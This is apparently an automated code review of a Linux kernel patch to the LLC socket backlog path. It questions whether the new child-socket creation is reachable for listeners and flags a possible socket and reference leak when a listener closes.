>  		dprintk("%s: adding to backlog...\n", __func__);
>  		llc_set_backlog_type(skb, LLC_PACKET);
>  		if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))
> @@ -852,12 +914,22 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
>  {
>  	int rc = 0;
>  	struct llc_sock *llc = llc_sk(sk);
> +	struct sock *newsk = NULL;
>  
>  	if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
> -		if (likely(llc->state > 1)) /* not closed */
> +		if (likely(llc->state > 1)) { /* not closed */
> +			if (unlikely(sk->sk_state == TCP_LISTEN)) {
> +				newsk = llc_create_incoming_sock_from_skb(sk, skb);
> +				if (!newsk)
> +					goto out_kfree_skb;
> +				skb_set_owner_r(skb, newsk);
> +			}

[Severity: Medium]
Is this new block reachable for an ordinary listener?  It is nested inside
the pre-existing llc->state > 1 ("not closed") test, but a listening LLC
socket has llc->state == LLC_CONN_STATE_ADM:

include/net/llc_c_st.h {
#define LLC_CONN_OUT_OF_SVC		 0	/* prior to allocation */
#define LLC_CONN_STATE_ADM		 1	/* disc, initial state */
}

llc_sk_init() sets llc->state = LLC_CONN_STATE_ADM, and llc_ui_listen() never
touches llc->state:

net/llc/af_llc.c:llc_ui_listen() {
	sk->sk_max_ack_backlog = backlog;
	if (sk->sk_state != TCP_LISTEN) {
		sk->sk_ack_backlog = 0;
		sk->sk_state	   = TCP_LISTEN;
	}
}

The only writers of llc->state are llc_sk_init(), llc_sk_free() and
llc_conn_service() (llc->state = trans->next_state), and the latter is driven
off skb->sk, i.e. the child, for passive opens.  So does
llc_create_incoming_sock_from_skb() - which has exactly one call site - ever
run for a normal listener, and does a listener-owned SABME still end at
out_kfree_skb?

If so, the commit message statement that the change preserves "the existing
passive-open flow" through deferred child creation does not seem to hold:
only the leak is fixed, and only because no child is created any more.

Separately, when the branch is entered it creates a child for any LLC_PACKET
with no SABME qualification, which differs from the rule stated in the commit
message ("Only create an incoming child for SABME commands") and from the
check in llc_conn_handler().  Should the two sites share one admission test?

[Severity: Medium]
Should this path also check whether the listener is being torn down?  The
backlog is drained from llc_ui_release() too, after the listener has been
unhashed, and sk_state is still TCP_LISTEN there:

net/llc/af_llc.c:llc_ui_release() {
	llc_sap_hold(sap);
	llc_sap_remove_socket(llc->sap, sk);
	release_sock(sk);
}

release_sock() -> __release_sock() -> llc_backlog_rcv() would then publish a
brand new child into sap->sk_laddr_hash with llc_sap_hold() and dev_hold(),
while the listener is freed immediately afterwards.  Nothing can accept or
release that child, so does this leak the struct sock, the netdev reference
and the SAP reference for a SABME that arrives just before close()?

> +			rc = llc_conn_rcv(sk, skb);
> -		else
> +			if (unlikely(rc) && newsk)
> +				llc_release_incoming_sock(newsk);
> +		} else {
>  			goto out_kfree_skb;
> +		}

[ ... ]
-- 
pw-bot: cr